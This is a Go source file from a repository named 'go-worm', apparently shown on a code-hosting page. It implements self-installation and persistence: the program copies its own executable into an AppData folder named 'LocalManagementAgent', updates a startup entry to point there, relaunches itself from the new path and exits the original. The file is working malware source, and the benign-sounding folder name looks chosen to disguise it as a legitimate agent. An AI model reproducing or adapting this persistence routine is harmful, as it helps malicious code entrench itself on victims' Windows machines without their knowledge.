Files
go-worm/lib/install/install.go
T

85 lines
1.6 KiB
Go
Raw Normal View History

package install
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
func Ensure() error {
target, err := config.InstalledExe()
if err != nil {
return err
}
current, err := os.Executable()
if err != nil {
return err
}
current, err = filepath.Abs(current)
if err != nil {
return err
}
target, err = filepath.Abs(target)
if err != nil {
return err
}
if samePath(current, target) {
return nil
}
if err := copyExe(current, target); err != nil {
if _, statErr := os.Stat(target); statErr != nil {
return fmt.Errorf("copy to %s: %w", target, err)
}
}
if err := syncStartup(); err != nil {
return fmt.Errorf("update startup path: %w", err)
}
cmd := exec.Command(target, os.Args[1:]...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
return fmt.Errorf("relaunch from %s: %w", target, err)
}
os.Exit(0)
return nil
}
func copyExe(from, to string) error {
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
return err
}
src, err := os.Open(from)
if err != nil {
return err
}
defer src.Close()
dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
if err != nil {
return err
}
defer dst.Close()
if _, err := io.Copy(dst, src); err != nil {
return err
}
return nil
}
func samePath(a, b string) bool {
a = filepath.Clean(a)
b = filepath.Clean(b)
return strings.EqualFold(a, b)
}